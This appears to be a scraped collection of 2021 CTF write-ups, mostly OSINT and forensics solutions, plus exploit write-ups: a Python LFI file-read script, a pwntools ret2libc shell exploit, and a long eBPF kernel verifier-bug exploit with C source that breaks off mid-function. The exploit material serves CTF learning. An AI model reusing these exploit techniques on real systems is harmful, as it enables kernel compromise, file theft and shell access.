TL;DR : Chat Application Used -> finding msimn.exe process Last time the application was used -> userassist plugin and look for the binary How many unread messages -> Registry HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\UnreadMail<email address> Version -> Registry HKEY_CURRENT_USER\Software\Microsoft\Outlook Express\5.0\Shared Settings\Setup
**tl;dr** * Extract creation timestamp of a note from Google Keep Notes.* Finding location, date & time from Slack Messages.* Extract no. of tasks completed and created from Google Tasks.* Finding secret code from Google Docs cache.* Extract first opened timestamp of a Game. Link to the writeup: [https://blog.bi0s.in/2021/08/16/Forensics/Heist-Ends-InCTF-Internationals-2021/](https://blog.bi0s.in/2021/08/16/Forensics/Heist-Ends-InCTF-Internationals-2021/) Author: [g4rud4](https://blog.bi0s.in/2021/08/16/Forensics/Heist-Ends-InCTF-Internationals-2021/)
Unencrypted remote shell leads to TCP session hijacking and RCE through man-in-the-middle (MITM) attack [**Full Writeup**](https://ctf.zeyu2001.com/2021/inctf-2021/shell-boi)
# Skyline By [Siorde](https://github.com/Siorde) ## Description![Image to find](https://github.com/Nameshield-CTF/WriteUps/tree/master/ractf-2021/osint/skyline/ressources/skyline.jpg?raw=true) ## SolutionAs the first one, the first thing I did was to reverse search the image. But this time, I didn't found anything intersting because a sky view is not really precise.So I tried to focus on recognizable point. I cut the three building part and did a research on this. ![Buldings](https://github.com/Nameshield-CTF/WriteUps/tree/master/ractf-2021/osint/skyline/ressources/building.PNG?raw=true) I found https://www.google.com/search?hl=fr&sxsrf=ALeKk0393G37XeeRGWArzcIq1JksUIeweQ:1628933530108&q=high+rise&tbm=isch&source=iu&ictx=1&tbs=simg:CAESjQIJ4EXPzjO6uaEagQILELCMpwgaOwo5CAQSFPU_1nw20D8oFpxLNGNAvkim_1Nv0bGhuq7n58dPFHl1dy0dSvFcG27qJuPwOReMP4kXAgBTAEDAsQjq7-CBoKCggIARIEpBv7oAwLEJ3twQkaoAEKHAoJaGlnaCByaXNl2qWI9gMLCgkvYS83YnhtOTUKHQoKY29tbWVyY2lhbNqliPYDCwoJL2ovZ3BzNGZjChcKBGZsYXTapYj2AwsKCS9hLzhmcThqeQopChVidXNpbmVzcyAmIGluZHVzdHJpYWzapYj2AwwKCi9tLzBnZ2pnZ2gKHQoKdXJiYW4gYXJlYdqliPYDCwoJL20vMDM5amJxDA&fir=l3HGIVL8CCcKiM%252CTGMjcIUyFNn_-M%252C_&vet=1&usg=AI4_-kQ7hsi8lGsMGfUFi9Umv6EL0pbL8g&sa=X&ved=2ahUKEwjKwbKjmrDyAhVPzoUKHScUBAsQ9QF6BAgYEAE&biw=1920&bih=927#imgrc=Svb2S5ySWs174M This is some building in Greenwich around the Tamise and it fitted perfectly. And looking at the google view, I saw that their was a cable car above the Tamise. I just needed to find exacly where the photo was taken, but after some tries, I found It.
# 50m on the right By [Siorde](https://github.com/Siorde) ## Description![Image to find](https://github.com/Nameshield-CTF/WriteUps/tree/master/ractf-2021/osint/50m-on-the-right/ressources/50m_on_the_right.jpg?raw=true) ## SolutionTheir was a sign in the middle of the picture, I used the text to determine were the picture is. It was in portugal. We could also see another sign on the bottom of the picture, it said "Bistro24", so I looked for Bistro 24 in Portugal and I found it : https://www.google.com/maps/place/Bistro+24/@37.1022262,-8.365757,17.83z/data=!4m5!3m4!1s0x0:0x9a5bc2fcb670d042!8m2!3d37.1028445!4d-8.3645238
# OHSHINT By [Siorde](https://github.com/Siorde) ## DescriptionAgent, We've got an OSINT challenge for you. We've been tracking a suspect and found that he went on holiday within the UK recently. We've pulled a recent image from the suspect's social media. Can you take a look and find out the rough location where this image was taken? ![Image to find](https://github.com/Nameshield-CTF/WriteUps/tree/master/ractf-2021/osint/ohshint/ressources/image.jpg?raw=true) ## SolutionWe have a picture of a lake. It really doesn't help because a reverse search for the image just show a lot of different lake, and it's very hard to define if their is a match. Instead I went for the metadata with exitfool : ```$ exiftool image.jpg ExifTool Version Number : 11.88File Name : image.jpgDirectory : .File Size : 495 kBFile Modification Date/Time : 2021:08:14 14:06:19+02:00File Access Date/Time : 2021:08:14 15:14:21+02:00File Inode Change Date/Time : 2021:08:14 14:06:19+02:00File Permissions : rwxrwx---File Type : JPEGFile Type Extension : jpgMIME Type : image/jpegExif Byte Order : Big-endian (Motorola, MM)X Resolution : 72Y Resolution : 72Resolution Unit : inchesArtist : ractf{Help I'm stuck in this enterprise Java dev job and I'm slowly deteriorating}Y Cb Cr Positioning : CenteredGPS Version ID : 2.3.0.0Description : Lodge North East of Lancaster, England. Big LakeGPS Latitude : 45 deg 31' 32.65" NGPS Longitude : 73 deg 35' 55.33" WAuthor : Rick AstleyComment : aHR0cHM6Ly93d3cueW91dHViZS5jb20vZW1iZWQvaEZjTHlEYjZuaUE/YXV0b3BsYXk9MSZjb250cm9scz0wImage Width : 8284Image Height : 1931Encoding Process : Baseline DCT, Huffman codingBits Per Sample : 8Color Components : 3Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)Image Size : 8284x1931Megapixels : 16.0GPS Latitude Ref : NorthGPS Longitude Ref : WestGPS Position : 45 deg 31' 32.65" N, 73 deg 35' 55.33" W```Their is a location so I looked for it, but it was in Canada. It is a Ubisoft building, so I guessed it was a troll. I also looked for the base64 comment : ```$ echo "aHR0cHM6Ly93d3cueW91dHViZS5jb20vZW1iZWQvaEZjTHlEYjZuaUE/YXV0b3BsYXk9MSZjb250cm9scz0w" | base64 -dhttps://www.youtube.com/embed/hFcLyDb6niA?autoplay=1&controls=0```It was a video about todd from Bethesda. So again, a troll. The last clue I had was the description. I looked for it on google, but I didn't found anything relevent. It seemed that their was no lake in Lancaster, but their is the lake disctrict on the north. I looked at the closest lake : Pine lake, and I felt like it was close to the picture we have. I tried this answer and I was right !
No captcha required for preview. Please, do not write just a link to original writeup here. ```bash> exiftool image.jpg -DescriptionDescription : Lodge North East of Lancaster, England. Big Lake``` This was enough to narrow it down to Pine lake. There were some lodges around the lake, Keer side lodge seemed to match the photo location. 54.141716, -2.747814
# Triangles By [Siorde](https://github.com/Siorde) ## Description![Image to find](https://github.com/Nameshield-CTF/WriteUps/tree/master/ractf-2021/osint/triangles/ressources/triangles.jpg?raw=true) ## SolutionWe need to find the location of the image. First thing I tried was to do reverse image search on google. I found this website : http://notizie.comuni-italiani.it/foto/61298.I translated the italian text and it says "Once the project was completed, this week there was the opportunity to view the photos in the exhibition inside the Cosentini building in Ragusa Ibla", so I looked for the Cosentini buidling and I found the location : https://www.google.com/maps/@36.9266286,14.7367835,3a,75y,339.15h,98.89t/data=!3m7!1e1!3m5!1s74kfoJ1Npr2eCY2_jG8zkQ!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fpanoid%3D74kfoJ1Npr2eCY2_jG8zkQ%26cb_client%3Dmaps_sv.tactile.gps%26w%3D203%26h%3D100%26yaw%3D355.17206%26pitch%3D0%26thumbfov%3D100!7i16384!8i8192
Exploit LFI to arbitary file read. ```pythonimport requestsfrom bs4 import BeautifulSoupfrom base64 import b64decodeimport randomimport string headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Accept-Language': 'en-GB,en;q=0.5', 'Referer': 'http://193.57.159.27:26683/new/', 'Content-Type': 'application/x-www-form-urlencoded', 'Origin': 'http://193.57.159.27:26683', 'Connection': 'keep-alive', 'Upgrade-Insecure-Requests': '1', 'Pragma': 'no-cache', 'Cache-Control': 'no-cache',}cookie = { "csrftoken":"WpkSPU3EitDvJgR6O8SOeaNACQLMLmNPDecOYKdrpUnG5yQFa45lHEDpqFFoEvHN", "sessionid": ".eJxNjEsKwjAURQVxKIKr0EnoS9qXZCbOXUN5aRLbKg30MxRcQIZxIe5QRYXe4TmHe189novvbmkX1yVNY11Og-vLxqa4BMAUtzNqqLq47q32tqXuHFgVurFvDPsk7GcHdgrWXY__djM7qGmoUzwgFCAxz4i85iI3ymSCo3fca22l8KC1stIgeo-ggVdYAHGnpORCgcnTxF4l3D6b:1mFhwu:mlibTmM3JvM87A1WTadKyJVBiuYRJJUgj6h-HKyYfRM" } def send_request(payload): data = { "csrfmiddlewaretoken":"J0krStVNFuVQo6cpg2JpH5RFWeD69XBwqPcn1j5AMVF1KobYCYWWazHuK3xI26vu", "name":"test15", "body":"({}}{%s}..})" % payload } response = requests.post("http://193.57.159.27:45262/new/", headers=headers, data=data, cookies=cookie) soup = BeautifulSoup(response.text, "html.parser") paragraph = soup.find('p', class_='card-text') base64_data = paragraph.img['src'].replace("data:image/png;base64,", "") print(b64decode(base64_data).decode("UTF-8")) if __name__ == "__main__": payload = input("File to read: ").strip() send_request(payload)```
[link to original writeup](https://github.com/babaiserror/ctf/tree/main/%5B210723-27%5D%20ImaginaryCTF%202021/Linonophobia) ret2libc. It overwrites `printf@GOT` with `puts@GOT`, so when it calls `printf` it actually calls `puts` instead. solution script: ```pythonfrom pwn import * libc = ELF('./libc6_2.31-0ubuntu9.1_amd64.so')elf = ELF('./linonophobia')r = ROP(elf) PUTS_GOT = elf.got['puts']PUTS_PLT = elf.plt['puts']MAIN_PLT = elf.symbols['main']POP_RDI = (r.find_gadget(['pop rdi', 'ret']))[0]POP_R12_15 = (r.find_gadget(['pop r12', 'pop r13', 'pop r14', 'pop r15', 'ret']))[0]binsh = 0xe6c7e # from one_gadget; requires r12, r15 to be NULL p = remote('chal.imaginaryctf.org', 42006)p.recvline()p.sendline(b'a'*0x108)p.recvuntil(b'a'*0x108 + b'\n')canary = u64(p.recv(7).rjust(8,b'\x00'))print("canary=>" + hex(canary))print(p.clean()) payload = b'a'*0x108 + p64(canary) + b'a'*8+ p64(POP_RDI) + p64(PUTS_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)p.sendline(payload)puts_addr = u64(p.recvline().strip().ljust(8,b"\x00"))print("puts_addr=>" + hex(puts_addr))print(p.clean()) libc_base = puts_addr - libc.symbols['puts']binsh = libc_base + binsh payload = b'a'*0x108 + p64(canary) + b'a'*8 + p64(POP_R12_15) + b'\x00'*32 + p64(binsh)print(payload)p.send(payload)p.recvline() print("========shell========")p.send(payload)p.clean()p.interactive()```
# John Poet By [Siorde](https://github.com/Siorde) ## Description![Image to find](https://github.com/Nameshield-CTF/WriteUps/tree/master/ractf-2021/osint/john-poet/ressources/john_poet.jpg?raw=true) ## SolutionThe difficulty here is that the text are blured. At first, I looked for the "Nova" sign because I thought it was the store Fashio Nova. But it seemed that it was not the right logo. So I want for the "Cenato" sign. I was not sure about the name, but et seemed that it was a restaurant, so I look for "restaurant cenato" and i found the logo : https://www.google.com/search?q=restaurant+cenato&tbm=isch&ved=2ahUKEwiRyu7_qbDyAhUP4RoKHd4XBgEQ2-cCegQIABAA&oq=restaurant+cenato&gs_lcp=CgNpbWcQAzoICAAQCBAHEB5QmfMFWPmVBmDylwZoAXAAeACAAU-IAasFkgECMTGYAQCgAQGqAQtnd3Mtd2l6LWltZ8ABAQ&sclient=img&ei=Fp4XYZHnIY_Ca96vmAg&bih=927&biw=1920&client=firefox-b-d#imgrc=99w_kJc18I6u9M So the text at the top of the sign is "Hai". I search for the full name and I found a restaurant that was at the "Nova Building" and their is the answer.
# UIUCTF 2021: ebpf_badjmp solutionDecription:>We recreated CVE-2016-2383. Your task is to read out the variable named `uiuctf_flag` in the kernel memory, by building an arbitrary kernel memory read via a malicious eBPF program. Use of provided starter code is optional; if you have better methods feel free to use them instead.>>`$ stty raw -echo; nc bpf-badjmp.chal.uiuc.tf 1337; stty -raw echo`>>Upload large files to VM: `$ nc bpf-badjmp.chal.uiuc.tf 1338 < file`>>HINT: How do you create a backwards jump without introducing unreachable code or creating loops? ## The VulnerabilityHere we're given the patch which will introduce bug in eBPF kernel subsystem.``` diffdiff --git a/kernel/bpf/core.c b/kernel/bpf/core.cindex 75244ecb2389..277f0e475181 100644--- a/kernel/bpf/core.c+++ b/kernel/bpf/core.c@@ -56,6 +56,8 @@ #define CTX regs[BPF_REG_CTX] #define IMM insn->imm +char uiuctf_flag[4096] __attribute__((used, aligned(4096))) = "uiuctf{xxxxxxxxxxxxxxxxxxxxxxxxxx}";+ /* No hurry in this branch * * Exported for the bpf jit load helper.@@ -366,7 +368,7 @@ static int bpf_adj_delta_to_off(struct bpf_insn *insn, u32 pos, s32 end_old, if (curr < pos && curr + off + 1 >= end_old) off += delta;- else if (curr >= end_new && curr + off + 1 < end_new)+ else if (curr > pos && curr + off + 1 < pos) off -= delta; if (off < off_min || off > off_max) return -ERANGE;```This patch will introduce the bug which will have same implication with CVE-2016-2823, you can see in this [commit](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=a1b14d27ed0965838350f1377ff97c93ee383492) the author explains clearly about why this code is wrong and how to trigger the bug, i will explain a little here. When we load eBPF program to kernel, the kernel can expand and patch some eBPF instruction, internally it will rewrite the instruction using [`bpf_patch_insn_data`](https://github.com/gregkh/linux/blob/linux-5.12.y/kernel/bpf/verifier.c#L10894), this function will patch instruction at offset `off` with instruction `patch` with some length defined in `len` variable. One instruction can be rewritten by multiple instruction. Another thing that kernel need to take care is that `BPF_JMP` instruction, store the destination address by the relative offset with its instruction address, just like `jmp` instruction in x86 assembly. So, if there are instruction will be patched by multiple instruction the destination of some `BPF_JMP` instruction will be wrong, and kernel need to fix that using `bpf_adj_delta_to_off` instruction. If you see the code flow from `bpf_patch_insn_data` it can go through `bpf_adj_delta_to_off` and fix the offset of the `BPF_JMP` instruction there. What's the problem with the code? I just quote from the commit author here, and i will try re-explain```Analysis on what the check in adjust_branches() is currently doing: /* adjust offset of jmps if necessary */ if (i < pos && i + insn->off + 1 > pos) insn->off += delta; else if (i > pos && i + insn->off + 1 < pos) insn->off -= delta; First condition (forward jumps): Before: After: insns[0] insns[0] insns[1] <--- i/insn insns[1] <--- i/insn insns[2] <--- pos insns[P] <--- pos insns[3] insns[P] `------| delta insns[4] <--- target_X insns[P] `-----| insns[5] insns[3] insns[4] <--- target_X insns[5] First case is if we cross pos-boundary and the jump instruction wasbefore pos. This is handeled correctly. I.e. if i == pos, then thiswould mean our jump that we currently check was the patchlet itselfthat we just injected. Since such patchlets are self-contained andhave no awareness of any insns before or after the patched one, thedelta is correctly not adjusted. Also, for the second condition incase of i + insn->off + 1 == pos, means we jump to that newly patchedinstruction, so no offset adjustment are needed. That part is correct.```In this case, the author mention for the forward jumps, and the destination jump is after the expanded instruction, you can see above the expanded instruction is marked by `insns[P]`, `delta` is the length of new patched instruction. ```Second condition (backward jumps): Before: After: insns[0] insns[0] insns[1] <--- target_X insns[1] <--- target_X insns[2] <--- pos <-- target_Y insns[P] <--- pos <-- target_Y insns[3] insns[P] `------| delta insns[4] <--- i/insn insns[P] `-----| insns[5] insns[3] insns[4] <--- i/insn insns[5] Second interesting case is where we cross pos-boundary and the jumpinstruction was after pos. Backward jump with i == pos would beimpossible and pose a bug somewhere in the patchlet, so the firstcondition checking i > pos is okay only by itself. However, i +insn->off + 1 < pos does not always work as intended to trigger theadjustment. It works when jump targets would be far off where thedelta wouldn't matter. But, for example, where the fixed insn->offbefore pointed to pos (target_Y), it now points to pos + delta, sothat additional room needs to be taken into account for the check.This means that i) both tests here need to be adjusted into pos + delta,and ii) for the second condition, the test needs to be <= as positself can be a target in the backjump, too.```In second case, for backward jumps, this is where this function fails. This function only adjust the offset of the jump if the destination of the jump is before the newly patched instruction, so because it's not adjust the offset of the jump, we can using this bug to make jump to the middle of the patched instruction. ## The ExploitTo trigger the bug, we need to create backward jumps. I thought it was easy to create backward jump, first idea came out to my mind is to make bounded loop. Yes, eBPF is already support bounded loop in newer kernel, but turns out only priv user is allowed to create bounded loop. After thinking for hours i can solve this, this is the sample code to make backward jumps without bounded loops``` ... .--< BPF_JMP_IMM(BPF_JLE, BPF_REG_7, 4, 25), // assume BPF_REG_7 is zero, comes from map value | BPF_MOV64_IMM(BPF_REG_0, 0x0), | BPF_EXIT_INSN(), | ... <--. | ... | | BPF_MOV64_IMM(BPF_REG_0, 0x0), | | BPF_EXIT_INSN(), | '--> BPF_JMP_IMM(BPF_JLE, BPF_REG_7, 4, -24), >--' BPF_MOV64_IMM(BPF_REG_0, 0), BPF_EXIT_INSN(),```This is how backward jumps looks like, `BPF_REG_7` is just dummy value to make the jump works, we make the jump is always true by making `BPF_REG_7` is zero, make sure is coming from map value not from constant, otherwise eBPF can remove the jump for optimization, just to make sure. So we have backward jump already, the other thing we need is BPF instruction that can expand in the kernel. To find this i just do some references on `bpf_patch_insn_data`, here's the result.```Cscope tag: bpf_patch_insn_data # line filename / context / line 1 11253 /home/n0p/research/kernel/linux-5.12.13/kernel/bpf/verifier.c <<opt_subreg_zext_lo32_rnd_hi32>> new_prog = bpf_patch_insn_data(env, adj_idx, patch, patch_len); 2 11292 /home/n0p/research/kernel/linux-5.12.13/kernel/bpf/verifier.c <<convert_ctx_accesses>> new_prog = bpf_patch_insn_data(env, 0, insn_buf, cnt); 3 11340 /home/n0p/research/kernel/linux-5.12.13/kernel/bpf/verifier.c <<convert_ctx_accesses>> new_prog = bpf_patch_insn_data(env, i + delta, patch, cnt); 4 11438 /home/n0p/research/kernel/linux-5.12.13/kernel/bpf/verifier.c <<convert_ctx_accesses>> new_prog = bpf_patch_insn_data(env, i + delta, insn_buf, cnt); 5 11765 /home/n0p/research/kernel/linux-5.12.13/kernel/bpf/verifier.c <<fixup_bpf_calls>> new_prog = bpf_patch_insn_data(env, i + delta, patchlet, cnt); 6 11784 /home/n0p/research/kernel/linux-5.12.13/kernel/bpf/verifier.c <<fixup_bpf_calls>> new_prog = bpf_patch_insn_data(env, i + delta, insn_buf, cnt); 7 11837 /home/n0p/research/kernel/linux-5.12.13/kernel/bpf/verifier.c <<fixup_bpf_calls>> new_prog = bpf_patch_insn_data(env, i + delta, insn_buf, cnt); 8 11923 /home/n0p/research/kernel/linux-5.12.13/kernel/bpf/verifier.c <<fixup_bpf_calls>> new_prog = bpf_patch_insn_data(env, i + delta, insn_buf, cnt); 9 11960 /home/n0p/research/kernel/linux-5.12.13/kernel/bpf/verifier.c <<fixup_bpf_calls>> new_prog = bpf_patch_insn_data(env, i + delta, 10 12029 /home/n0p/research/kernel/linux-5.12.13/kernel/bpf/verifier.c <<fixup_bpf_calls>> new_prog = bpf_patch_insn_data(env, i + delta, insn_buf,```We just need to choose one that fit for our exploitation case. Talking about expanded instruction, i remember article that i read a few days ago about eBPF exploitation, it was a good read written by @chompie1337, you can read the article [here](https://www.graplsecurity.com/post/kernel-pwning-with-ebpf-a-love-story). In the article she mention about ALU sanitation that can patched instruction that involve arithmetic on pointer, i just quoted here below from her blog. > ### **ALU Sanitation**>>ALU Sanitation is a feature that was introduced to supplement the static range tracking of the verifier. The idea is to prevent OOB memory accesses if the value of registers do not fall within their expected range during runtime. This was added to help mitigate potential vulnerabilities in the verifier and protect against speculative attacks.>>For every arithmetic operation that involves a pointer and a scalar register, an alu_limit is calculated. This represents the maximum absolute value that can be added to or subtracted from the pointer [[4]](https://www.zerodayinitiative.com/blog/2020/4/8/cve-2020-8835-linux-kernel-privilege-escalation-via-improper-ebpf-program-verification). Before each of these operations, the bytecode is patched with the following instructions:>>*patch++ = BPF_MOV32_IMM(BPF_REG_AX, aux->alu_limit);*patch++ = BPF_ALU64_REG(BPF_SUB, BPF_REG_AX, off_reg);*patch++ = BPF_ALU64_REG(BPF_OR, BPF_REG_AX, off_reg);*patch++ = BPF_ALU64_IMM(BPF_NEG, BPF_REG_AX, 0);*patch++ = BPF_ALU64_IMM(BPF_ARSH, BPF_REG_AX, 63);*patch++ = BPF_ALU64_REG(BPF_AND, BPF_REG_AX, off_reg);>>Note that off_reg represents the scalar register being added to the pointer register, and BPF_REG_AUX represents the auxiliary register. This patch is just to make sure the scalar value that will added to pointer during runtime will not make an OOB access, you can read more detail from her blog. This below is snippet code where the patch happens, it will call `bpf_patch_insn_data` to apply the patch``` cstatic int fixup_bpf_calls(struct bpf_verifier_env *env){ ... for (i = 0; i < insn_cnt; i++, insn++) { ... if (insn->code == (BPF_ALU64 | BPF_ADD | BPF_X) || insn->code == (BPF_ALU64 | BPF_SUB | BPF_X)) { const u8 code_add = BPF_ALU64 | BPF_ADD | BPF_X; const u8 code_sub = BPF_ALU64 | BPF_SUB | BPF_X; struct bpf_insn insn_buf[16]; struct bpf_insn *patch = &insn_buf[0]; bool issrc, isneg, isimm; u32 off_reg; aux = &env->insn_aux_data[i + delta]; if (!aux->alu_state || aux->alu_state == BPF_ALU_NON_POINTER) continue; isneg = aux->alu_state & BPF_ALU_NEG_VALUE; issrc = (aux->alu_state & BPF_ALU_SANITIZE) == BPF_ALU_SANITIZE_SRC; isimm = aux->alu_state & BPF_ALU_IMMEDIATE; off_reg = issrc ? insn->src_reg : insn->dst_reg; if (isimm) { *patch++ = BPF_MOV32_IMM(BPF_REG_AX, aux->alu_limit); } else { if (isneg) *patch++ = BPF_ALU64_IMM(BPF_MUL, off_reg, -1); *patch++ = BPF_MOV32_IMM(BPF_REG_AX, aux->alu_limit); *patch++ = BPF_ALU64_REG(BPF_SUB, BPF_REG_AX, off_reg); *patch++ = BPF_ALU64_REG(BPF_OR, BPF_REG_AX, off_reg); *patch++ = BPF_ALU64_IMM(BPF_NEG, BPF_REG_AX, 0); *patch++ = BPF_ALU64_IMM(BPF_ARSH, BPF_REG_AX, 63); *patch++ = BPF_ALU64_REG(BPF_AND, BPF_REG_AX, off_reg); } if (!issrc) *patch++ = BPF_MOV64_REG(insn->dst_reg, insn->src_reg); insn->src_reg = BPF_REG_AX; if (isneg) insn->code = insn->code == code_add ? code_sub : code_add; *patch++ = *insn; if (issrc && isneg && !isimm) *patch++ = BPF_ALU64_IMM(BPF_MUL, off_reg, -1); cnt = patch - insn_buf; new_prog = bpf_patch_insn_data(env, i + delta, insn_buf, cnt); if (!new_prog) return -ENOMEM; delta += cnt - 1; env->prog = prog = new_prog; insn = new_prog->insnsi + i + delta; continue; } ... ... }```Consider the following eBPF instruction, where `BPF_REG_0` is pointer to map value, and `BPF_REG_7` is some scalar unknown value coming from bpf map, in reality it's just zero value (this is the same `BPF_REG_7` that we talked before actually) .```c BPF_ALU64_REG(BPF_ADD, BPF_REG_0, BPF_REG_7),```Above instruction, will expanded to:```c BPF_MOV32_IMM(BPF_REG_AX, aux->alu_limit); BPF_ALU64_REG(BPF_SUB, BPF_REG_AX, BPF_REG_7); BPF_ALU64_REG(BPF_OR, BPF_REG_AX, BPF_REG_7); BPF_ALU64_IMM(BPF_NEG, BPF_REG_AX, 0); BPF_ALU64_IMM(BPF_ARSH, BPF_REG_AX, 63); BPF_ALU64_REG(BPF_AND, BPF_REG_AX, BPF_REG_7); BPF_ALU64_REG(BPF_ADD, BPF_REG_0, BPF_REG_AX),```So, this one instruction will be patched with seven instruction. My idea is using this expanded instruction, i want to make this load arbitrary pointer (we want to take control over `BPF_REG_0` registers). This is what it looks like.``` c BPF_JMP_IMM(BPF_JLE, BPF_REG_7, 4, 11), // goto jmp1 BPF_MOV64_IMM(BPF_REG_0, 0x0), BPF_EXIT_INSN(), // jmp2: // [1] BPF_MOV64_REG(BPF_REG_0, BPF_REG_5), // suppose BPF_REG_5 is pointer to map value BPF_MOV64_REG(BPF_REG_7, BPF_REG_7), // just some nop BPF_MOV64_REG(BPF_REG_7, BPF_REG_7), BPF_MOV64_REG(BPF_REG_7, BPF_REG_7), BPF_MOV64_REG(BPF_REG_7, BPF_REG_7), BPF_MOV64_REG(BPF_REG_7, BPF_REG_7), // expanded instruction here BPF_ALU64_REG(BPF_ADD, BPF_REG_0, BPF_REG_7), /*BPF_MOV32_IMM(BPF_REG_AX, aux->alu_limit), BPF_ALU64_REG(BPF_SUB, BPF_REG_AX, BPF_REG_7), BPF_ALU64_REG(BPF_OR, BPF_REG_AX, BPF_REG_7), BPF_ALU64_IMM(BPF_NEG, BPF_REG_AX, 0), BPF_ALU64_IMM(BPF_ARSH, BPF_REG_AX, 63), BPF_ALU64_REG(BPF_AND, BPF_REG_AX, BPF_REG_7), BPF_ALU64_REG(BPF_ADD, BPF_REG_0, BPF_REG_AX),*/ BPF_MOV64_IMM(BPF_REG_0, 0x0), BPF_EXIT_INSN(), // jmp1: BPF_JMP_IMM(BPF_JLE, BPF_REG_7, 4, -10), // goto jmp2```First we create backward jump with the technique we talked before, we jump to `jmp2:` from `jmp1:`. Suppose `BPF_REG_5` is pointer to map value, and it is stored to `BPF_REG_0`. There's some `nop` instruction, i will explain that later, after that arithmetic operation that involve scalar with pointer will expanded by kernel, it will expanded to seven instruction. If you apply the patch, and count the offset `-10` from `jmp1:`, it will resides right at the expanded instruction!. Because of the bug, after instruction expanded, the offset of the jump not changed. Instead of jump to the `jmp2:` which will store `BPF_REG_0` with valid pointer value, it will just jump into expanded instruction with invalid value in `BPF_REG_0`, we can just control `BPF_REG_0` at the start, and after expanded instruction finish, it will treat `BPF_REG_0` as valid pointer even though it's the controlled value in runtime!. Now you know why i put 5 nop instruction right there, it is just to make distance to valid destination offset and distance to expanded instruction is the same, so we make verifier believe we get `BPF_REG_0` is valid from `BPF_REG_5`, but in runtime we just jump into the expanded instruction. We're almost done, we just need to set `BPF_REG_0` to kernel address of `uiuctf_flag`, and we just use BPF instruction to read `BPF_REG_0` and copy to our bpf map to get the flag. The author of the challenge make our work easier to make `/proc/kallsyms` readable from unpriv user, so we can use `/proc/kallsyms` to get address of `uiuctf_flag`. This is my full exploit code:``` c#define _GNU_SOURCE#include <sched.h>#include <stdio.h>#include <fcntl.h>#include <stdlib.h>#include <unistd.h>#include <sys/ioctl.h>#include <errno.h>#include <pthread.h>#include <sys/wait.h>#include <linux/bpf.h>#include <sys/mman.h>#include <string.h>#include <stdint.h>#include <stdarg.h>#include <sys/socket.h>#include <linux/if_ether.h>#include <linux/ip.h>#include <stddef.h>#include <sys/stat.h> #ifndef __NR_BPF#define __NR_BPF 321#endif#define ptr_to_u64(ptr) ((__u64)(unsigned long)(ptr)) #define BPF_RAW_INSN(CODE, DST, SRC, OFF, IMM) \ ((struct bpf_insn){ \ .code = CODE, \ .dst_reg = DST, \ .src_reg = SRC, \ .off = OFF, \ .imm = IMM}) #define BPF_LD_IMM64_RAW(DST, SRC, IMM) \ ((struct bpf_insn){ \ .code = BPF_LD | BPF_DW | BPF_IMM, \ .dst_reg = DST, \ .src_reg = SRC, \ .off = 0, \ .imm = (__u32)(IMM)}), \ ((struct bpf_insn){ \ .code = 0, \ .dst_reg = 0, \ .src_reg = 0, \ .off = 0, \ .imm = ((__u64)(IMM)) >> 32}) #define BPF_MOV64_IMM(DST, IMM) BPF_RAW_INSN(BPF_ALU64 | BPF_MOV | BPF_K, DST, 0, 0, IMM) #define BPF_MOV_REG(DST, SRC) BPF_RAW_INSN(BPF_ALU | BPF_MOV | BPF_X, DST, SRC, 0, 0) #define BPF_MOV64_REG(DST, SRC) BPF_RAW_INSN(BPF_ALU64 | BPF_MOV | BPF_X, DST, SRC, 0, 0) #define BPF_MOV_IMM(DST, IMM) BPF_RAW_INSN(BPF_ALU | BPF_MOV | BPF_K, DST, 0, 0, IMM) #define BPF_RSH_REG(DST, SRC) BPF_RAW_INSN(BPF_ALU64 | BPF_RSH | BPF_X, DST, SRC, 0, 0) #define BPF_LSH_IMM(DST, IMM) BPF_RAW_INSN(BPF_ALU64 | BPF_LSH | BPF_K, DST, 0, 0, IMM) #define BPF_ALU64_IMM(OP, DST, IMM) BPF_RAW_INSN(BPF_ALU64 | BPF_OP(OP) | BPF_K, DST, 0, 0, IMM) #define BPF_ALU64_REG(OP, DST, SRC) BPF_RAW_INSN(BPF_ALU64 | BPF_OP(OP) | BPF_X, DST, SRC, 0, 0) #define BPF_ALU_IMM(OP, DST, IMM) BPF_RAW_INSN(BPF_ALU | BPF_OP(OP) | BPF_K, DST, 0, 0, IMM) #define BPF_JMP_IMM(OP, DST, IMM, OFF) BPF_RAW_INSN(BPF_JMP | BPF_OP(OP) | BPF_K, DST, 0, OFF, IMM) #define BPF_JMP_REG(OP, DST, SRC, OFF) BPF_RAW_INSN(BPF_JMP | BPF_OP(OP) | BPF_X, DST, SRC, OFF, 0) #define BPF_JMP32_REG(OP, DST, SRC, OFF) BPF_RAW_INSN(BPF_JMP32 | BPF_OP(OP) | BPF_X, DST, SRC, OFF, 0) #define BPF_JMP32_IMM(OP, DST, IMM, OFF) BPF_RAW_INSN(BPF_JMP32 | BPF_OP(OP) | BPF_K, DST, 0, OFF, IMM) #define BPF_EXIT_INSN() BPF_RAW_INSN(BPF_JMP | BPF_EXIT, 0, 0, 0, 0) #define BPF_LD_MAP_FD(DST, MAP_FD) BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD) #define BPF_LD_IMM64(DST, IMM) BPF_LD_IMM64_RAW(DST, 0, IMM) #define BPF_ST_MEM(SIZE, DST, OFF, IMM) BPF_RAW_INSN(BPF_ST | BPF_SIZE(SIZE) | BPF_MEM, DST, 0, OFF, IMM) #define BPF_LDX_MEM(SIZE, DST, SRC, OFF) BPF_RAW_INSN(BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM, DST, SRC, OFF, 0) #define BPF_STX_MEM(SIZE, DST, SRC, OFF) BPF_RAW_INSN(BPF_STX | BPF_SIZE(SIZE) | BPF_MEM, DST, SRC, OFF, 0) int doredact = 0;#define LOG_BUF_SIZE 65536char bpf_log_buf[LOG_BUF_SIZE];char buffer[64];int sockets[2];int sockets2[2];int mapfd;int _mapfd[0x1000];size_t _offset = 0;void fail(const char *fmt, ...){ va_list args; va_start(args, fmt); fprintf(stdout, "[!] "); vfprintf(stdout, fmt, args); va_end(args); exit(1);} void 